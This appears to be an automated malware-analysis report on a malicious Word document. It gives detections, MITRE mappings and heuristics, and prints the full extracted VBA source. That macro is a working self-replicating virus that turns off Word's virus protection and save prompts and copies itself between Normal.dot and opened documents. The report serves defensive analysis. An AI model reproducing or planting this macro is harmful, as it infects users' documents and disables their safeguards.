MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample is a malicious Office document containing VBA macros. The Document_Open macro is designed to copy its code into the Normal.dot template, which is a common technique for establishing persistence. The ClamAV detections further confirm its malicious nature. The specific intent of the macro is to modify the Normal.dot template, potentially to ensure execution on subsequent document openings or to facilitate the download of further malicious content.
Heuristics 3
-
ClamAV: Doc.Trojan.Bptk-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Bptk-2
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 864 bytes |
SHA-256: 134fa9c55a477b3d3b26fe0132c7843a77eb8d04c399f1dc39d65974c01826c0 |
|||
|
Detection
ClamAV:
Doc.Trojan.Bptk-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_Open() 'D ' On Error Resume Next Application.EnableCancelKey = 0 With Options: .ConfirmConversions = 0 .SaveNormalPrompt = 0 .VirusProtection = 0 End With Set N = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule Set A = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule If N.Lines(3, 1) <> "'" Then N.DeleteLines 1, N.CountOfLines N.AddFromstring A.Lines(1, A.CountOfLines) NormalTemplate.Save ElseIf A.Lines(3, 1) <> "'" Then A.DeleteLines 1, A.CountOfLines A.AddFromstring N.Lines(1, N.CountOfLines) ActiveDocument.Save MsgBox "ÁÏÒÊ" End If End Sub |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.